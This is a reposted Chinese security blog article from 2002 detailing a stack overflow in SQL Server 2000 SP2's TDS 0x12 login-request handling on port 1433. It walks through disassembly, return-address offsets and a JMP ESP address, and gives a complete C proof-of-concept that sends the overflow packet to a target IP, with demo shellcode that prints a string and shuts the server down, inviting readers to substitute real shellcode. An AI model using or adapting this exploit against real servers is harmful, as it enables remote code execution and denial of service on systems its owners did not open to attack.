【实战】SQL SERVER 2000 SP2 12命令的溢出攻击实现

中文版SQL Server 2000 SP3补丁完整安装包 chs_sql2ksp3.exe 二十年过去了,SQL Server 2000 早已退役,但它的精神仍在延续。今天我们使用的 Azure SQL、PostgreSQL、MySQL……它们的安全机制、更新框架、审计体系,哪一个不是站在这些“前辈”的肩膀上发展起来的?不仅仅是一个补丁,它代表了一种工程哲学:在资源有限的时代,如何用极致的控制力实现最大的可靠性。也许你现在不会再亲手去打这个补丁,但它教会我们的东西永远不会过时:不信任任何输入默认就该是安全的日志比文档更重要自动化部署才是未来。 阅读详情
SQL SERVER 2000 SP2 12命令的溢出攻击实现

作者:flashsky
主页:http://www.xfocus.net
日期:2002-11-01

注意:转载请注明作者和安全焦点
第一次玩溢出研究,请高手指正

自上次被isno指教了一翻,这几天开始用汇编看sql server的代码,发现SQL SERVER的1433 TDS协议中,0X12号命令(请求验证)存在一个溢出问题,在传送最后的MSSQLSERVER后面跟上572个以上的字节会导致溢出,心里一喜,但吸取上次教训,一查,发现8月12这个漏洞已经被公告。哎
但是一看,公告代码只指出溢出,但是未实现溢出,仔细一看,要实现这个溢出还是很麻烦的,涉及到很多问题:

下面是汇编代码分析:
前面接受信息的大致流程:
请求
text:004DE099                 call    sub_410E22
    .text:00410ED3                 call    dword ptr [eax+14h]
    调用ssnetlib的获取异步socket到来的信息
        42CF42F2:连接并接收信息
    .text:00410ED6                 add     esp, 18h

处理数据:
42cf719e处调用,下个返回地址应该是42cf71a3,溢出就是要覆盖这个返回地址
溢出产生在:42cf72cf处的strcpy上
但是其中问题存在于:strcpy拷贝的地址离42cf71a3的地址有572个字节,其中存在很多其他变量的指针,如果随便覆盖掉的话,在这个子过程中会继续引用他们,那么就引起访问违例,直接被异常给捕获了,而无法达到执行代码的目的,而其其过程是一个循环执行过程,会导致很复杂的计算。
涉及到的需要继续引用覆盖地址值的代码有:
.text:42CF73D9                 mov     edx, [ebp+var_4]
.text:42CF73DC                 add     edx, 5
.text:42CF73DF                 mov     [ebp+var_4], edx
.text:42CF7263                 mov     edx, [ebp+arg_4]
.text:42CF7266                 add     edx, [ebp+var_4]
.text:42CF7269                 xor     eax, eax
.text:42CF726B                 mov     al, [edx]
.text:42CF726D                 mov     [ebp+var_14], eax
.text:42CF7270                 mov     ecx, [ebp+arg_4]
.text:42CF7320                 mov     [ebp+var_224], ecx
.text:42CF7326                 mov     edx, [ebp+arg_0]
.text:42CF7329                 mov     eax, [ebp+var_224]
.text:42CF732F                 mov     ecx, [eax]

可以发现以上值主要是涉及到
要覆盖地址-8
要覆盖地址+4
要覆盖地址+8
要覆盖地址+C
要覆盖地址+10
要覆盖地址+14
这几个地址上,而且主要是写操作
并且要覆盖地址-4会和要覆盖地址+4会进行一次加操作,其操作的地址范围也应该为可读写。
因此很容易想到,用SQL SERVER固定分配的某个数据区的地址取带该区就不会引起异常了。而要覆盖地址-4最好为0xffffffff左右的值,其他地址加上这个值也在一个数据区范围以内,问题就不大要覆盖地址+4,要覆盖地址+8,要覆盖地址+C,要覆盖地址+10,要覆盖地址+14的值要仔细选取,因为JMP ESP跳回来以后正好在从要覆盖地址+4处开始执行,需要其汇编代码不能引起异常和跳转到其他地方去,否则就无法执行我们真正能实现的shellcode了。
另外就是如果shellcode全部放在要覆盖地址+18后执行也有问题,其中可能在同一个过程中会用到其中的值,因此把shellcode最好放在前面,在覆盖地址+18后用少量的代码跳转回去,避免大量覆盖引起异常。
另外就是jmp esp代码的选择,其实不同服务器版本地址不同,但是我想在SQL SERVER代码本身中找更好。只要存在一个ffe4数字就可,不管是不是真的jmp esp代码,这样shellcode可以更简单,也更通用一些,仔细一看,sql server中还真有这个组合,位置在42B0C9DC处。OK,那么主要问题就搞定了
我的环境是:sql server 2000+sp2+最新的补掉sql server udp漏洞的q36几几的。
下面是演示代码,其中没有实现真正的shellcode,而是实现了打印了一行sql hack demo,并且当掉了SQL SERVER服务器,其实只要把其中代码置换成shellcode就可以了,当然需要考虑大小问题,如果放在后面可以不考虑大小,但是可能会引起一些异常,我没仔细调试,放在前面许可的长度大概有500多字节左右,做SHELLCODE也应该足够了。
大家在cmd下运行sqlsvrer可以看到打印出的sql hack demo字符,并且SQL 当掉,如果是服务或管理工具启动,则无法打印sql hack demo,但SQL会当掉,注意此处当掉不是因为异常,而是执行了shellcode的exit导致的。
#include <process.h>
#include <string.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <winbase.h>

int main(int argc, char* argv[])
{
    WSADATA WSAData;
    SOCKET sock;
    SOCKADDR_IN addr_in;
    unsigned char buf0[48+572]={
        0x12,1,0,0x34,0,0,0,0,0,0,0x15,0,6,1,0,0x1b,
        0,1,2,0,0x1c,0,0xc,3,0,0x28,0,4,0xff,8,0,2,
        0x10,0,0,0,0x4d,0x53,0x53,0x51,0x4c,0x53,0x65,0x72,0x76,0x65,0x72,1,0x10,4,1,1};

    unsigned char buf1[255]={10,9,8,7,6,5,4,3,2,1,0};
    char exploit_code[21]= "/x83/xc4/x81/x8b/xc4/x50/xff/x15/xf8/xe0/xcf/x42"
    "/x33/xc0/x50/xff/x15/x84/xe0/xcf/x42";
//这个是打印"sql hack demo"并退出sql server的shellcode代码
    int i;
    int len;
    const int SNDBUF = 0;
    const int TCPNODELAY = TRUE;
    const int BROADCAST = TRUE;
    int fo=572;    //需要覆盖的返回地址偏移处
    if (argc<2)
    {
        return FALSE;
    }
    for(i=0x34;i<584;i++)
        buf0[i]=0x90;        
//示范打印的字符串
    buf0[0x34+0x10]='s';
    buf0[0x34+0x11]='q';
    buf0[0x34+0x12]='l';
    buf0[0x34+0x13]=' ';
    buf0[0x34+0x14]='h';
    buf0[0x34+0x15]='a';
    buf0[0x34+0x16]='c';
    buf0[0x34+0x17]='k';
    buf0[0x34+0x18]=' ';
    buf0[0x34+0x19]='d';
    buf0[0x34+0x1a]='e';
    buf0[0x34+0x1b]='m';
    buf0[0x34+0x1c]='o';
    buf0[0x34+0x1d]='/n';

//防止数据改动引起异常而退出而无法实现有效溢出,因此进行有效修改
    buf0[fo-0x8]=0xff;
    buf0[fo-0x7]=0xff;
    buf0[fo-0x6]=0xff;
    buf0[fo-0x5]=0xff;
    //42D01CFC    为SQL SERVER固定的数据区域,且其汇编代码不引起问题
    buf0[fo+4]=0xfc;
    buf0[fo+5]=0x1c;
    buf0[fo+6]=0xd0;
    buf0[fo+7]=0x42;
    //42d01c72   为固定的数据区域才能可写
    buf0[fo+8]=0x64;
    buf0[fo+9]=0x0d;
    buf0[fo+0xa]=0xd0;
    buf0[fo+0xb]=0x42;    
    //42D01CFC    为固定的数据区域才能可写
    buf0[fo+0xc]=0xfc;
    buf0[fo+0xd]=0x1c;
    buf0[fo+0xe]=0xd0;
    buf0[fo+0xf]=0x42;
    //42d01c72   为固定的数据区域才能可写
    buf0[fo+0x10]=0x64;
    buf0[fo+0x11]=0x0d;
    buf0[fo+0x12]=0xd0;
    buf0[fo+0x13]=0x42;    
    //42d01c72   为固定的数据区域才能可写
    buf0[fo+0x14]=0x64;
    buf0[fo+0x15]=0x0d;
    buf0[fo+0x16]=0xd0;
    buf0[fo+0x17]=0x42;    
    //在溢出了返回地址后,由于其中的N个代码需要返回后跳转、而此处由在子函数中需要处理,因此寻找一个数据地址放入,同时使得其汇编代码不引起访问异常。

    //然后下面的几个地址是在此过程中不需要使用的,因此可以大胆修改成我们需要的汇编代码了
    //写入跳回去的代码buf0[fo+0xc]=0x42;
    buf0[fo+0x18]=0x81;
    //ADD ESP,0XFFFFFF92
    buf0[fo+0x19]=0x83;
    buf0[fo+0x1a]=0xc4;  
    buf0[fo+0x1b]=0x81;
    //ADD ESP,0XFFFFFF92
    buf0[fo+0x1C]=0x83;
    buf0[fo+0x1D]=0xc4;  
    buf0[fo+0x1E]=0x81;
    //ADD ESP,0XFFFFFF92
    buf0[fo+0x1f]=0x83;
    buf0[fo+0x20]=0xc4;  
    buf0[fo+0x21]=0x81;
    //JMP ESP
    buf0[fo+0x22]=0xff;
    buf0[fo+0x23]=0xe4;
    //以上代码在溢出返回后执行,由于主要的shellcode防在前面,需要跳转回去
    //不直接放在后面的原因在于:覆盖了后面的一些变量,会导致提前出现地址访问异常,导致无法达到执行我们想要代码的目的

    memcpy(buf0+fo-8-364,exploit_code,21);
    //拷贝SHELLCODE

    //FFE4=JMP ESP
         //设置溢出地址的值,42B0C9DC是SQL SERVER本身代码有的FFE4地方
    buf0[fo]=0xDC;
    buf0[fo+1]=0xC9;
    buf0[fo+2]=0xB0;
    buf0[fo+3]=0x42;
    //需要找到JMP ESP的代码,然而这个是随版本变化的,所以干脆在SQL SERVER程序中找,只要组合成这个就可

    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d/n",WSAGetLastError());
        return FALSE;
    }
    if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d/n",WSAGetLastError());
        return FALSE;
    }

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(1433);
    addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
    buf0[1]=1;
    if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
    {
        printf("Connect failed.Error:%d",WSAGetLastError());
        return FALSE;
    }
    if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR)
    {
        printf("Send failed.Error:%d/n",WSAGetLastError());
        return FALSE;
    }

    len=recv(sock,buf1,255,NULL);
    for(i=0;i<len;i++)
    {
        printf("%02x ",buf1[i]);
        if(i%16==15)
            printf("/n");
    }
    printf("/n");
    buf0[0]=0x10;
    if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR)
    {
        printf("Send failed.Error:%d/n",WSAGetLastError());
        return FALSE;
    }
    WSACleanup();
    return 0;

}
SQL Server 2000 SP4 完整安全升级与实战指南 SQL Server 2000 SP4 不是一段值得歌颂的技术传奇,而是一场关于技术债务积累与偿还的深刻教训。它告诉我们:- 技术选型不能只看当下,更要考虑长期维护成本;- 安全补丁不是可选项,而是生死线;- 迁移越早越容易,拖得越久代价越大。如果你现在还在维护这样的系统,请务必做好三件事:全面备份—— 每天都要做,而且要验证;最小化暴露面—— 关闭非必要端口,限制访问IP;制定迁移路线图—— 即使今年动不了,也要为明年准备好Plan B。 阅读详情

相关推荐

sql server 2000试题汇编

SQL SERVER 20000 数据库

在Windows XP SP2下安装SQL SERVER 2000

在Windows XP SP2下安装SQL SERVER 2000SQL2000本适用于WIN 2000系统,2003系统和XP一般装不了需要选用个人版,当然如果你在不清楚的前提下辛辛苦苦下载了企业版本却不能安装,是不是很失望呢?这里介绍一个XP下安装装SQL2000企业版本方法以供参考~办法如下:一.在SQL服务器的安装盘中找到MSDE这个目录,并且点击setup.exe安装它,过程

hakusann021的专栏 962

SQL Server 2000试题汇编数据库

SQL Server 2000试题汇编数据库

SQL Server 2K SP2 下载

微软下载:         简体中文:     http://download.microsoft.com/download/SQLSVR2000/SP/8.00.0534.01/W98NT42KMeXP/CN/CHS_SQL2KSP2.exe       http://download.microsoft.com/download/SQLSVR2000/SP/8.00.0534.01/W98NT

future_hui的专栏 1651

SQL Server 2000试题汇编源数据库

SQL Server 2000试题汇编源数据库

sql server 2000 试题汇编答案第一单元到第八单元

sql server 2000 试题汇编答案 第一单元到第八单元

数据库SQL2000最基本的安装和操作教程

当捕获到一段语句时,单击某行,在最下面显示出具体的执行语句,如果程序出现错误提示,比如新增数据错误,重复单号,插入数据不成功,查询时无数据,均可将该语句粘贴到查询分析器中执行,并修改部分条件,从而判断出原因。5. 勾选备份数据库,并校验备份后的结果,并设置备份的时间,注意错开数据库的其他操作,如结算,导入导出数据等。但是注意,如果是开账数据,表中的数据一般需要先删除干净,如果导入的数据是属于附加,也就是表中没有,可以不用删除。注意扩展学习基础知识:什么是表,表的栏位,数据类型,长度,是否允许为空。

chengg0769 平淡无奇见真知 独立博客: http://blog.mis2erp.com 4921

FPGA新手避坑指南:手把手教你搞定RTL8211千兆网PHY的时序配置(附Verilog代码)

本文详细解析了FPGA与RTL8211千兆网PHY芯片的时序配置问题,重点介绍了TXDLY/RXDLY引脚设置、FPGA发送端和接收端的Verilog实现,以及调试与验证的完整流程。通过硬件电路设计和代码示例,帮助开发者解决网络连接不稳定、丢包等常见问题,提升千兆网通信的稳定性。

weixin_28732953的博客 543

xp下安装sqlserver2000时的常见问题

 1.    SQL2000企业版本适用于WIN 2000系统,2003系统和XP一般装不了需要选用个人版,这里介绍一个XP下安装装SQL2000企业版本方法以供参考~办法如下:  一.先到微软网站下载MSDE sp4,并且点击setup.exe安装它,过程简单直接下一步就OK了。  二. 重启系统WINDOWSXP,这下就可以看到SQL服务的图标出现了,安装后相当于就安装成功了服

上海夜未眠 4840

深入解析“PROJ: proj_create_from_database: Cannot find proj.db”错误:从环境配置到打包实战

本文深入解析了“PROJ: proj_create_from_database: Cannot find proj.db”错误的根源与解决方案,涵盖环境配置、PyInstaller打包及跨平台兼容性处理。通过详细分析PROJ库路径问题及GDAL依赖关系,提供动态路径设置、资源文件打包等实战技巧,帮助开发者高效解决地理数据处理中的常见错误。

weixin_29074409的博客 447

python爬取巨潮资讯网所有股票年报数据

爬虫获取巨潮资讯网数据

qq_42752524的博客 6121

SQL Server 2000 sp2 及更低版本不受此版本的 Windows 支持

SQL Server 2000 sp2 及更低版本不受此版本的 Windows 支持。在安装了 SQL Server 2000 之后请应用 sp3。 出现这种现象的原因在于:Windows Server 2003 系列产品不支持 SQL Server 2000 SP2(Service Pack 2) 和更早版本及其组件。 要解决此问题,请在安装 SQL Server 2000 后立即安装 ...

weixin_34413802的博客 1325

基于因果推理的LLM去毒:精准定位注意力头实现高效干预

在大型语言模型(LLM)的部署与应用中,模型安全与可控性是核心挑战之一。传统方法如全参数微调成本高昂,且可能损害模型通用能力。本文聚焦于一种基于因果推理的精准干预技术,其原理在于利用因果发现算法定位Transformer模型中与“毒性”输出存在强因果关联的特定注意力头。该技术通过分析注意力头的激活模式与生成文本毒性分数之间的因果关系,识别出关键责任单元,而非依赖传统的相关性分析。其技术价值在于实现了轻量级、高可解释性的模型行为修正,能以极低的参数改动代价有效降低模型在敏感话题上的有害输出。在应用场景上,该方

weixin_32667439的博客 314

【实战】SQL SERVER ODBC堆栈溢出攻击的实现。

SQL SERVER ODBC堆栈溢出攻击的实现。创建时间:2002-09-28文章属性:原创文章提交:flashsky (flashsky1_at_sina.com)关于ODBC溢出终于找到了解决之道。由于原来一心只想把UNICODE代码拷贝过来,由于诸多原因,会导致大量覆盖地址,结果造成一些系统数据的被覆盖,而无法达到执行代码目的,后来我想,是否可以只仅仅覆盖到返回地址,由返回地址执向我们其他

FreeXploiT 1453

abap中使用Screen painter为普通屏幕创建单选按钮组radiobutton组的过程

选择屏幕中,创建radiobutton组直接使用代码实现,如下所示 SELECTION-SCREEN BEGIN OF BLOCK BK1 WITH FRAME TITLE TEXT-001. PARAMETERS R1 RADIOBUTTON GROUP GR1. PARAMETERS R2 RADIOBUTTON GROUP GR1. PARAMETERS R3 RADIOBUTTON GR

charliefromkansas的博客 8303

开源数显表

开源数显表,广泛应用于车床、铣床、磨床、镗床、火花机、线切割等。市面上此类液晶数显表多数都是基于此项目。 一、基本配置 硬件 主控:STM32F407VGT6 LCD:群创AT070TN92 显示驱动:RA8875 光栅尺:3 x 输入(X/Y/Z) 串口:1 x MAX3232 继电器:2 x 输出 存储:AT24C64 模拟输入:LM324C 电源:AC 220V 软件 工程版本:Keil 5 STM32库:V1.4.0 图形界面:uCGUI 多语言支持:中文、英文 二、项目文

m0_70934529的博客 439

Windows Server 2003 (Windows xp sp2) 下用JSP访问SQLServer 2000 数据库 (Error establish socket)

Windows Server 2003 (Windows xp sp2) 下用JSP访问SQLServer 2000 数据库 (Error establish socket)     默认安装SQLSERVER 2000企业版后,用JSP调用JDBC驱动程序访问数据库,会得出“Error establish socket”的出错提示,即驱动程序找不到SQLServer的端口,通过查看“事件查

JSFCN.COM : {Java,JSF,JSP, 网页美工, 图像设计, 软件下载} 2745

MATLAB基础应用精讲-【数模应用】信用评分模型(附R语言和python代码实现)

信用评分模型是近年来兴起的一种为了保障银行和其他金融部门的金融安全而设立的一种关于人身金融权限的划定模型。该模型指根据客户的信用历史资料,利用一定的信用评分模型,得到不同等级的信用分数,根据客户的信用分数,来决定客户所可以持有的金额权限,从而保证还款等业务的安全性。而随着在现代社会和公司中,贷款,信用卡的作用日渐突出,信用评分模型的发展前景不可估量。信贷风险是指借款人因偿还贷款或履行合同承诺而破产而产生损失的可能性。传统上,它与贷款人无法偿还所欠利息和本金、影响现金流和增加装配成本所产生的风险有关。

qq_36130719的博客 365

【实战】MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞

MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞创建时间:2002-09-23文章属性:原创文章来源:http://www.xfocus.net文章提交:flashsky (flashsky1_at_sina.com)转摘请注明作者和安全焦点作者:FLASHSKYSITE:WWW.XFOCUS.NET邮件:flashsky@xfocus.org    MS的SQL SERVE

FreeXploiT 1585

【机器学习-09】特征工程

特征工程是机器学习模型构建的初步工作,但它的重要性却贯穿整个模型生命周期。在进行特征工程时,我们需要充分利用数据科学的知识和技巧,结合具体的应用场景和业务需求,来制定出最合适的特征提取和转换策略。只有这样,我们才能为机器学习模型提供最有价值的输入,从而使其发挥出最大的潜力。总之,特征工程是机器学习中的一项关键任务,它需要我们用心去探索、去实践、去创新。只有不断地优化和完善特征工程的过程,我们才能构建出更加准确、更加可靠的机器学习模型,为实际应用带来更大的价值。

qq_38614074的博客 2万+

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

SQL SERVER 2000通讯管道后复用劫持

作者:FLASHSKY SITE:WWW.XFOCUS.NET 邮件:flashsky@xfocus.org SQL SERVER 2000通讯中,允许使用有名管道来进行通讯,一般情况下是如此命名的: 默认实例:\\.\pipe\sql\query 命名实例:\\.\pipe\MSSQL$instancename\sql\query  也可以通过1434 UDP进行查询获得这个

absvdfgrty的专栏 410

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

SQL Server2000打开1433端口

这篇文章主要针对Win2003系统安装SQL Sever2000后1433端口未开放,如何打开1433端口的解决方法。 用了几年的Windows2003和SQL Server2000了,不过这个问题倒是头次遇到。最近调试一个JSP+SQL2000WEB程序遇到个现象,在Win2003简体中文服 务器版上安装SQL Server2000,默认安装,一切正常,但是在安装完成后Tomcat运

yalong914的专栏 1304

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

Windows Server 2008上安装SQLserver2000无法连接问题解决

背景:因为一些公司可能还在使用老版本的内部管理系统,基于Sqlserver2000的数据库,前端系统也是比较老的开发工具制作,想重新使用新版本的SQLserver数据库,可能面临很多需要修改的问题,并且还有一些老旧的服务器还在使用中,无法安装比较新的版本,所以折中选择了在server2008上安装恢复SQLserver2000数据库,安装完成,打完sp4补丁,客户端仍旧无法连接,客户端上企业管理器连接SQL数据库显示超时,通过修改连接时间20秒,可以连接,但是客户端程序依然不能正常链接到数据库。

weixin_42058487的博客 1660

ms sql server 2000挂起问题解决

今天在家把电脑重装了一次,在安装sql server2000 时出现一个错误,说以前某个程序挂起,安装程序前必须重新启动计算机,这个问题见怪不怪,以前也遇到过很多次, 安装程序前必须重新启动计算机解决方法是:在C://WINDOWS/regedit.exe(或在命令行输入 regedit.exe)打开注册表,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlS

Watson的专栏 1840

mysql service 2000_无法将 SQL Server 2000 MSDE Service_mysql

Microsoft Visual Studio .Net 提供了两种 MSDE 安装程序。一个随常规 Visual Studio .Net 安装程序一起提供,它将创建一个名为 MSSQL$VSdotNET 的 SQL 实例。另一个 MSDE 安装程序随 .Net Framework SDK 提供,它将创建一个名为 MSSQL$NetSDK 的 SQL 实例。此更新程序仅打算应用于那些安装了 MSS...

weixin_39982452的博客 211

SQL Server 2000 注入防护大全

SQL Server 2000 注入防护大全(一)Sql注入早源于or1=1最重要的表名:select * from sysobjectssysobjects ncsysobjectssysindexes tsysindexessyscolumnssystypessysuserssysdatabasessysxloginssysprocesses  最重要的一些用户名(

lxu的专栏 1292
上一篇: C++ Style and Technique FAQ (中文版) Bjarne Stroustrup 著, 紫云英 译
下一篇: 【原理+实战】window系统下的堆栈溢出
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值